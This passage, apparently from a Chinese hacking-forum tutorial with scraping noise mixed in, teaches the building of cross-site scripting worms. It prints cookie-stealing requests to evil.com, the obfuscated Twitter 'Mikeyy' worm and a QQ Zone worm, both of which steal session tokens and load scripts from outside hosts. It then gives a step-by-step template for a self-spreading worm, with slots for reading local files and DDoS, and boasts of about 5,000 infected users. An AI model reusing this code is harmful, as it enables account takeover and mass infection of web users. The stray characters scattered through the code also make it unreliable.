  E; `( e3 r+ Q+ h" G复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

# h( J; B, Z$ @$ v* E# o( N5 Mvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
8 a( w8 z0 P) ~# h

' w# T1 P9 E" q6 r) c
/ O: K" O$ l+ ^  S+ ~* Y9 P" zXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

" U3 x. p/ }; s; {+ m5 t+ gXmlHttp.send(null);
  M- l$ K# c( c' E. ^
0 x. P  S$ L- C2 c/ t* N7 _3 s% L<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
, T7 p2 ]& p$ }第一版:
8 p! o) z9 \8 L: Z  X' J- ]( H  下载 (5.1 KB)
$ V4 T3 u( ?) G5 Z2 a3 O3 E; x
6 天前 08:27
; h; {0 L; G* V+ f% q
- Z' `: v- H3 }# T9 X第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
+ {/ N% b$ q7 [5 K6 k7 c$ ]
1 w# S0 v* e9 w9 W" m. q7 T   2.   
, T% I  V* i. O
   3. function XHConn(){  
9 L" E; }$ O" v  ~( z; e& ?
   4.   var _0x6687x2,_0x6687x3=false;  
3 H* o% M) M5 T# P1 T
; ]* b# f( T4 x5 X- |/ j   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
0 s8 h( b4 c: n! U
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
; d/ p, W- c* w5 }
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
$ f, n, ^3 {+ A- E& i
   8.   catch(e) { _0x6687x2=false; }; }; };  
. h$ X0 _) ?7 n3 s& Y1 V/ T4 J复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
7 E$ j5 K( j% H
   3.   var tmp_cookie=document.cookie;  
: I1 t3 k' `+ Q8 }% F
   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

& F  K7 [) s5 j! a$ a- B   6.   var authtoken=authreg.exec(content);  
9 @5 F4 o" L4 N
% i( I8 b  d8 y; F   7.   var authtoken=authtoken[1];  
$ R) Y, i$ f' \
   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
/ p: ^% P% T2 o# G  I
2 z$ J3 \; Q( c8 s  `7 l7 o  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

5 u1 \: L& @  |8 y+ ~, g  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

! _. T% h' G' r5 x  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
# J% v" I# f& z: t; u9 \
! ^- |; l' K* @4 O* _2 }/ c  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
5 \! v* W* h& r* f: n( q
  W' q/ o! k9 L) v9 P0 i( _  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

9 E' G2 I) o# i0 J; j  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
) a! R, K8 Z6 g4 {3 r$ I
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
/ U4 q3 k% M/ {/ |# E9 q* z2 w
2 A" |- _, e7 D8 t& M$ B  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

3 h, T1 E: B* o3 V* i  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

! o1 g4 i% g' F. D/ }8 q) L/ z  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
' \) y! M: w  p/ g# v8 R0 Z) ?) S
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
# {0 ]2 m2 X$ `7 s& `3 ^$ i
  24.     
9 i* |4 t. {2 ^$ k7 G5 j
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
0 |8 E0 Y1 u, @2 o
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
: m& t5 ~. u/ h( S' ]
  28.   var ajaxConn= new XHConn();  
! @! k+ }* t4 X
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
6 Q; D+ D- {. F) `; x
/ G, c$ h( y( f! R3 J* N# X  31.   var updateEncode=urlencode(_0xf81bx1c);  
! ^0 O+ P, L% \( m' O& d: \* H
  32.   var ajaxConn1= new XHConn();  
- {1 H" T% t1 `
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
( m3 ?& U( \/ L
! v8 ~$ h. M. Q; ~" o  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
3 v  R$ @9 [( h" c, z) y; ?
  36.   var ajaxConn2= new XHConn();  
. ?% x5 k' X/ W( f" W7 |
# }( m1 v# z2 U/ t+ h  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

3 J9 e# v3 n& U0 w  38.     
/ S) R( t( T' T0 B
+ P' Z+ N1 M9 r( c5 p' ?% q  39. } ;  
6 p' Z6 z6 s5 E4 Q# Y' l/ V
  40. setTimeout(wait(),5250);  
( b" N, p2 n9 s! F复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
* n( G# G' H& E/ ?% O

' U& D; H7 K2 z( F3 }: |
var shendu;shendu=4;
  \9 [- P/ J2 F/ E
) a- t* g/ m: u, i$ p//---------------global---v------------------------------------------

% p: b' B- ^( {. C- E; l% v) `* B//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
$ [' Q, H2 L8 t6 l
var myblogurl=new Array();var myblogid=new Array();
: X$ d( }/ j4 y9 [! w1 @6 B  ?
8 S5 [$ D7 m8 }9 s        var gurl=document.location.href;

2 x" a& I6 ^; `; s        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        
1 {8 `8 u& B7 g
' j- [: ?; U" z        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");
% f0 H7 F: f, W
        visitorID=visitorID.substring(cookieS+14);
1 Q; f% w1 t( |: L2 s
& @6 G- y2 I: s, q* j        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
3 e% B& i3 D/ @
  g2 [$ c- O7 k* {
/ c4 R. O  ?0 n5 z; Z- i& I- W. s
//挂马
8 h7 z7 O1 ]) H/ m5 m4 Z4 O
function DOshuamy(){

4 i6 Y) {1 _  l. L% Ivar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
# L5 b  K' b, y; }3 n1 B
}
" _2 w0 c" ~4 ~7 ~- [; c

5 ?: o) U! C5 s4 O. F$ C: m. v
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
% _  f# b: C, B: p4 R
function get_my_blog(visitorID){
% o& W9 T* J6 X' L: b0 a
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

8 ~% X2 k  ^% B; \   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
3 A# ?: ^! Z; j6 v3 h
& Z% S5 c! I7 M5 A8 F. N   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
2 L1 s8 E1 r8 w7 e& i
     xhr.send();guest=xhr.responseText;
+ g$ s( O4 q  n7 c2 b$ f3 l# d
% F# w$ L8 s, D8 Y: D* o8 d$ U/ s     get_my_blogurl(guest);    //执行这个函数
1 I! W2 z5 y  x4 X, ?4 j: a
    }

3 o% q; |0 ?9 d1 |- a; ]}
; a8 I) u$ r3 E- }. ]2 y
) {; k; ?  r# k- P1 P
  j7 [/ H9 c8 G& q2 _/ _
//这里似乎是判断没有登录的
  B) H1 ?7 A. x8 s/ |3 L. L2 B1 I
function get_my_blogurl(guest){

  var mybloglist=guest;

- e2 G" `9 u! j  var myurls;var blogids;var blogide;

+ j9 u) |0 d3 z/ g  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
, w9 d: m3 H* \) k
) x% ~  k* F( q     if(myurls!=-1){    //找到了就执行下面的
" v5 @3 g3 H# [/ m# C3 o
         mybloglist=mybloglist.substring(myurls+11);
' r  X8 ^- Q: M2 \% `% @
, x) A1 h9 V0 l* y6 x         myurls=mybloglist.indexOf(')');

# m. r( E% e- O/ @- l' M* {# ~         myblogid=mybloglist.substring(0,myurls);

$ U$ n$ T( b9 U' v  \5 ]( d. U        }else{break;}

$ N2 j3 }4 l" G}

get_my_testself();    //执行这个函数
( z* u1 j) l* P$ B# s6 ]: Q$ u
* H# l- K  ]( S* X* o8 a8 ]1 T}

' P- f3 x& q4 W

//这里往哪跳就不知道了
, S  B( x' `' j% c( Z
function get_my_testself(){
! c3 r; @' O  {+ N1 B' f
  for(i=0;i<myblogid.length;i++){    //获得blogid的值

; n. ?, b1 s2 |/ f) d! V3 l      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
( c8 X+ y9 ~! G7 V& z% W
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
- f! T& p  Z" H0 F
: {; F& Z: s6 S/ G: ?* g      if(xhr2){        //如果成功
! h: ^/ S! V7 F) c, @% p
              xhr2.open("GET",url,false);     //打开上面的那个url
' z7 F. N  t( k# _
5 V1 S' k* K2 |, l- _# t              xhr2.send();

              guest2=xhr2.responseText;

1 V8 E4 y/ R7 ^              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

0 N  d8 x! Y: E' K              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
+ @/ f$ l3 a& U( s' Q
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

$ _7 ]  R/ t) G( e8 H4 o. ]                break;

7 [6 [& P$ n* B  Y+ M               }
/ X/ k  T, c6 x2 n8 j8 A- E
              if(mycheckit=="-1"){

2 K4 c7 A; m5 \/ v- p9 {                targetblogurlid=myblogid;
. U5 P3 M6 l! T; X9 F9 w
                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
% w9 ?- t5 [& a& p- `1 t( T2 V- F
& L' s  x% p5 L               }

$ O0 G7 f+ M  R        }      

- E7 ^+ C4 S" M0 t; u$ M}

2 J( O" A+ T. Q. {0 I' {}
# Y& J/ c$ y: |' U1 J" ], Q/ O9 x" z
, m8 v9 c: |& N! \* J
% m1 |7 X' u4 M9 G
//--------------------------------------  
, G3 E  ?) Y; P$ d/ k$ R
# I6 W& z) J) T  N) X& i//根据浏览器创建一个XMLHttpRequest对象

: H' B  x, v) O& N% G; h/ {" `function createXMLHttpRequest(){
. c( F; A4 C5 A
    var XMLhttpObject=null;  

1 h! t9 N# F0 O7 N1 q4 c9 e    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
' ]# j6 Y7 |' T) I4 w# ^
! _8 G& k& Z2 w+ Y1 E$ V        for(var i=0;i<MSXML.length;i++)  
6 `9 Z7 \" ]6 b; t( T
        {  
* o" H' ^3 P$ H* `$ g9 p
! T8 B. n$ P  v' [7 R; V% z: E            try  
$ F4 d9 T6 M$ [6 y" |. ]  u5 u) C/ |
5 f1 ^- P. P6 H! j            {  
3 F& ^: o; h' ^* P. u
                XMLhttpObject=new ActiveXObject(MSXML);  

, `0 R2 D! t# l! l' M3 L2 ]. K  A                break;  

3 n' p  E2 B+ d) i# i) k            }  
0 z" u! _7 n; l& `0 b4 e8 y" O
            catch (ex) {  
- k$ [" x# {/ @, j
4 L. s& u+ \3 |0 j% u* S5 i            }  
& Q5 ?+ l. P+ R7 k: y
         }  

0 J2 Q, N0 M( t      }
  @2 q% Y7 f1 Y$ Y/ x2 ~: w: `
return XMLhttpObject;
1 c3 i* }( C$ G$ s9 \3 S5 p7 `
}  



2 Z' h- s; H9 I! Z1 o! z//这里就是感染部分了
; p' @# q) D5 l
function add_js(visitorID,targetblogurlid,gurl){
* j2 q, [! x. p! L1 M1 I
% o0 V: H( U$ j. P( \2 |var s2=document.createElement('script');

3 B- }+ f; c! d* y9 ^& k8 a- f  bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

. v0 r6 c, P9 x" {+ i: \s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

2 S4 ?+ {+ d, ^+ Q}
& k& c: c. U8 k8 t& p$ G, ~


function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
  ]2 x# F5 G- h. z* R3 q2 R9 F& @1 d
- r, k3 W/ M, y" X% m9 u' bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

1 H, e' B$ z8 s. u& Ns2.type='text/javascript';
- b6 c7 t9 p  [2 N2 }9 V) A* a5 h
% J( s: \" M' m* O: ~document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

; n! v4 x4 r5 h/ V3 b& g2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

0 V' I7 f/ u$ ^综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- G/ H1 c2 W3 o# n

% j# S. t8 l% b5 p# R2 G下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
6 ~( y" ]% D* |, t
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

( P3 z1 N: Y. J" Y3 @if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}
( B: s3 S7 z7 @# m
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
1 Y& r: z, f  F% t% G) _
for(var i=0; i<versions.length; i++) {

try {

. y0 m: \9 h  p& drequest = new ActiveXObject(versions);

} catch(e) {}
- Y0 r9 L2 r1 J* C" E
}

* _8 i- n! Y1 Z. z- @}

xmlHttpReq=request;
) R' W) I4 D2 k0 q8 q' ^: k复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
/ s* [6 E- P! M3 B
6 m, y( Y. e4 Z        var Browser_Name=navigator.appName;
2 P3 h/ R  W0 S2 V
1 |5 a3 X9 B, A% x7 l; U5 T        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
& V6 q# Z$ {$ Z) K$ ]
        
% \, t$ g0 u  d$ V" j& D
3 Q. G: }& A  ]3 P. l5 X/ k+ i        var Actual_Version,Actual_Name;
+ D" @2 _) \  r8 e+ C9 q
5 O# {# F5 x5 ^9 U' w# b        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

: _! o6 {9 ]: S& E6 g1 R        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        
- x' p" O2 N. |& ^$ E: {' E% ^$ o
$ g* ?. Q3 f- i9 P/ \5 u+ Y        if(is_NN){

            if(Browser_Version>=5.0){
6 X' k8 ^# _+ n! \/ n+ c
                var Split_Sign=Browser_Agent.lastIndexOf("/");
* o2 F9 v6 y( e, N0 o
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 X$ D4 {5 R4 D- g
3 ?- q- y3 X! f1 X' z5 U                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


* y: d1 \+ G8 y, j, w& m7 O
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

# o6 G4 o+ p& f+ h& u                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

; J' P8 Q% V: P* Q# i            }
4 ?- j+ U/ {! n& {. c
            else{

! q" _* g; V; t& |                Actual_Version=Browser_Version;
: \+ h+ U. X, f$ h' @4 d9 |, s7 y8 c
$ Z5 q# [8 k$ g! i7 m3 r                Actual_Name=Browser_Name;

; N) Q. b9 Z. j, C$ V3 |$ P! N0 B            }
9 j' P4 u7 l3 c7 o4 G8 U1 H
1 `% g' j0 e7 e8 J8 Q9 s3 v        }
, v: E& a, s. P# i5 j4 S3 A
" k! ~% i7 h7 B5 C7 Y4 `        else if(is_IE){

6 M& b  b7 g: d; u0 y            var Version_Start=Browser_Agent.indexOf("MSIE");

4 j( M. P% f4 R+ U" x& ~            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
" O1 d# X9 u0 j4 s: c) C/ g9 P2 Q4 Y
            Actual_Name=Browser_Name;

: L8 W& m  r* }: T4 ?6 k            
$ d7 i" w( T# V" f
1 h4 [5 H  r% b& a" N            if(Browser_Agent.indexOf("Maxthon")!=-1){
( |( E: g* `6 o( f3 p  b" u& _2 |
7 C# b3 I/ {/ k  d$ u) |                Actual_Name+="(Maxthon)";

            }
8 p/ ]' Q( c, q; z( c3 t8 k% ~
            else if(Browser_Agent.indexOf("Opera")!=-1){
4 D# t& l) s3 t. p  O* |4 Z
3 r. Z/ P) \4 N' C' t                Actual_Name="Opera";

3 X0 m% r# Y6 C5 z* x' `                var tempstart=Browser_Agent.indexOf("Opera");

2 |8 a$ H# {1 Z* |5 h                var tempend=Browser_Agent.length;

0 r' j$ v3 q) m6 B* H, H                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
: [1 g  [  o1 ?' J- t4 M/ m* w8 m
            }
. _6 @  H/ [: x% c
        }
& l4 x3 X) k5 {3 o! y4 U" O
        else if(is_Ch){

7 p5 L, b& A' O+ D4 e# q& ]            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

: ]+ k4 U8 a6 m- H# d            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
) C" ^; J5 T$ q6 m* |6 _
$ M  z+ h. w* X0 I2 N            Actual_Name=Browser_Name;
9 j' `5 I1 `5 G0 h2 y' L
7 A2 M4 Q3 m8 c            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
2 U& [! p4 J: y( Y, Z; X
! y  U( O) T/ k8 y/ K# _( y                Actual_Name+="(Maxthon)";

" d# _/ S# R4 m( F# H            }
' u, v' F: I0 Y/ o% i
            else if(Browser_Agent.indexOf("Opera")!=-1){
9 V+ H+ F* K9 n6 z0 A2 g6 g, U
" t7 n  ^9 H* G& ?  v, M( U# ~                Actual_Name="Opera";
% I3 o) v+ z& S8 i. O) U5 S% u
                var tempstart=Browser_Agent.indexOf("Opera");
. F8 u* y: S( Y# \$ r1 I. L1 F
                var tempend=Browser_Agent.length;
6 v( K0 R6 j6 k3 ?. ~3 J
/ N' K  Q1 U" Q4 g1 a                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
; X# a& w( w: O3 Y
        }

% P2 B. ^) I8 D  f        else{

3 ?% Y8 O3 D1 ]' K3 _  }) \            Actual_Name="Unknown Navigator"
0 A$ ]) q* Q0 [4 t+ `" O
% p# a4 j0 J0 r( ?! x% g" d# T            Actual_Version="Unknown Version"

        }
1 b( g5 B4 f  n5 X

& ?' ~9 j6 W. L' K
        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

        

' B  T/ t: ?3 n6 V7 I        this.Name=Actual_Name;

2 P: s( p) T3 T, W5 X        this.Version=Actual_Version;

    }
4 H0 P6 w" q/ B% G$ E
8 G8 h, U6 e- o, Q3 R    browserinfo();
$ Y( d* n; w5 a6 b* ]- P3 Y0 F
& M* l; q1 @) W; `% b    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# Z3 R8 B( _# K% b3 s
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

/ n; p) Z7 s. g    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
: U" Q/ w6 `2 R2 c6 j1 T0 i! u! ^复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
3 }- g: N# y  U
var resource = xmlHttpReq.responseText;
* n  s) G! t8 v, |
9 a, ^* F( D7 ^; ^/ Bvar id=0;var result;

6 e1 t, M* H! \; U" Avar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {

0 F: _- ]9 P0 R; A3 N2 ?) \id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
# U2 R8 N. r* H6 y
7 P' r' J3 e9 N& K5 i! F* hno=resource.search(/my name is/);

& v0 ~" v4 \" a0 _5 Hvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
+ w1 _! L5 v+ z& c/ {' B; y
var post="wd="+wd;
* B1 z7 C  s& h
) d: s/ [% D6 [) R! j' FxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
6 h, b) Y: M8 x5 c/ I+ V
6 \8 a& x8 m9 XxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
" w7 w7 f9 ?8 h
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
, `: n2 y! H) }3 U+ t, k# @2 |
4 d4 t; A; c" G  o/ U" \- J}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

- q, u# _& Q: f/ H5 }1 w$ j; ovar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
0 d/ a8 e( \' O+ {; |/ O7 }" \( P0 r
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

8 s  Z/ r, D8 k# ~" Rvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
8 I; ?5 a  K( A
var post="wd="+wd;
4 o! j2 a* K2 v2 _( a
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ {' O. D: F$ x2 {/ X' f9 N
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
. T' r% U5 [" ~! L$ w4 ?9 X
0 S% Z- G8 A8 q) h$ Y) sxmlHttpReq.send(post);                 //把传播的信息 POST出去.

) B" ~& [( t: E7 `( l}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------



本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
3 }% X+ W, q  N: e蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
  K5 a/ B( L% W7 k8 f5 z( x* c& g' z+ u操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

- h  q, [- E5 }/ H$ l) ]

6 `9 v& i2 x* ~
$ p2 x4 q7 ?' {8 H6 m' J' e
7 K. w7 x0 M* M
1 _4 v6 i6 S, g; \' E

本文引用文档资料:
3 @4 n9 `; f# t7 R' H. l' H
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
% g# o; H" O! ]1 s; N  J0 G* DOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
8 v" g9 s# G3 O% f$ ~  I7 b. vhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
: z7 m2 b5 n7 i. l* X0 L, F空虚浪子心BLOG http://www.inbreak.net
, ~8 T/ I7 E' M2 Q+ Y: l, y5 d+ SXeye Team http://xeye.us/
- X& U% _: o+ M0 N) N/ e